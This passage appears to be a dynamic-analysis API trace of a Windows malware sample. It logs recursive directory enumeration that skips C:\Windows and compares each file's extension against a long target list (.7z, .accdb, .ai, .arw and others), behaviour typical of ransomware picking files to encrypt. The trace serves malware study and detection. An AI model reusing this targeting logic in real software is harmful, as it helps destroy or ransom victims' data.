ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.659] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0034.659] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x3f142d0, Size=0x8000) returned 0x3f142d0 [0034.659] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0034.659] FindClose (in: hFindFile=0x3eb2308 | out: hFindFile=0x3eb2308) returned 1 [0034.660] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3298 | out: hHeap=0x220000) returned 1 [0034.660] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0034.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3eb2348 [0034.663] FindNextFileW (in: hFindFile=0x3eb2348, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.663] FindNextFileW (in: hFindFile=0x3eb2348, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0034.664] FindClose (in: hFindFile=0x3eb2348 | out: hFindFile=0x3eb2348) returned 1 [0034.664] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3298 | out: hHeap=0x220000) returned 1 [0034.664] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0034.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3eb2348 [0034.665] FindNextFileW (in: hFindFile=0x3eb2348, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.665] FindNextFileW (in: hFindFile=0x3eb2348, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0034.666] FindClose (in: hFindFile=0x3eb2348 | out: hFindFile=0x3eb2348) returned 1 [0034.666] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3298 | out: hHeap=0x220000) returned 1 [0034.666] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0034.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3eb2348 [0034.667] FindNextFileW (in: hFindFile=0x3eb2348, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.667] FindNextFileW (in: hFindFile=0x3eb2348, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0034.667] FindClose (in: hFindFile=0x3eb2348 | out: hFindFile=0x3eb2348) returned 1 [0034.668] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3298 | out: hHeap=0x220000) returned 1 [0034.668] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0034.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3eb2308 [0034.668] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.669] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0034.669] FindClose (in: hFindFile=0x3eb2308 | out: hFindFile=0x3eb2308) returned 1 [0034.669] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3298 | out: hHeap=0x220000) returned 1 [0034.669] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0034.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3eb2308 [0034.670] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.670] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0034.670] FindClose (in: hFindFile=0x3eb2308 | out: hFindFile=0x3eb2308) returned 1 [0034.670] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3298 | out: hHeap=0x220000) returned 1 [0034.670] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0034.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3eb2308 [0034.671] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.671] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0034.671] FindClose (in: hFindFile=0x3eb2308 | out: hFindFile=0x3eb2308) returned 1 [0034.671] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3298 | out: hHeap=0x220000) returned 1 [0034.671] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0042.681] FindNextFileW (in: hFindFile=0x3eb22c8, lpFindFileData=0x33bf310 | out: lpFindFileData=0x33bf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.682] FindNextFileW (in: hFindFile=0x3eb22c8, lpFindFileData=0x33bf310 | out: lpFindFileData=0x33bf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 Thread: id = 19 os_tid = 0x998 [0033.094] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38f06d8 [0033.095] lstrlenW (lpString="C:") returned 2 [0033.095] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x34ffd00 | out: lpFindFileData=0x34ffd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x313228 [0033.095] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.095] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0033.095] lstrlenW (lpString="$Recycle.Bin") returned 12 [0033.095] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0033.095] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39006e0 [0033.095] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.095] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x313268 [0033.096] FindNextFileW (in: hFindFile=0x313268, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.096] FindNextFileW (in: hFindFile=0x313268, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0033.096] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.096] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0033.096] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0033.096] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0033.096] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.096] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.096] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3142b0 [0033.096] FindNextFileW (in: hFindFile=0x3142b0, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.097] FindNextFileW (in: hFindFile=0x3142b0, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0033.097] lstrlenW (lpString="desktop.ini") returned 11 [0033.097] lstrlenW (lpString=".1cd") returned 4 [0033.097] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.097] lstrlenW (lpString=".3ds") returned 4 [0033.097] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0033.097] lstrlenW (lpString=".3fr") returned 4 [0033.097] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0033.097] lstrlenW (lpString=".3g2") returned 4 [0033.097] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0033.097] lstrlenW (lpString=".3gp") returned 4 [0033.097] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0033.097] lstrlenW (lpString=".7z") returned 3 [0033.097] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.097] lstrlenW (lpString=".accda") returned 6 [0033.097] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0033.097] lstrlenW (lpString=".accdb") returned 6 [0033.097] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0033.097] lstrlenW (lpString=".accdc") returned 6 [0033.097] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0033.097] lstrlenW (lpString=".accde") returned 6 [0033.097] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0033.097] lstrlenW (lpString=".accdt") returned 6 [0033.097] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0033.097] lstrlenW (lpString=".accdw") returned 6 [0033.097] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0033.097] lstrlenW (lpString=".adb") returned 4 [0033.097] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0033.097] lstrlenW (lpString=".adp") returned 4 [0033.097] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".ai") returned 3 [0033.098] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0033.098] lstrlenW (lpString=".ai3") returned 4 [0033.098] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".ai4") returned 4 [0033.098] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".ai5") returned 4 [0033.098] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".ai6") returned 4 [0033.098] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".ai7") returned 4 [0033.098] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".ai8") returned 4 [0033.098] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0033.098] lstrlenW (lpString=".anim") returned 5 [0033.098] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0033.098] lstrlenW (lpString=".arw") returned 4 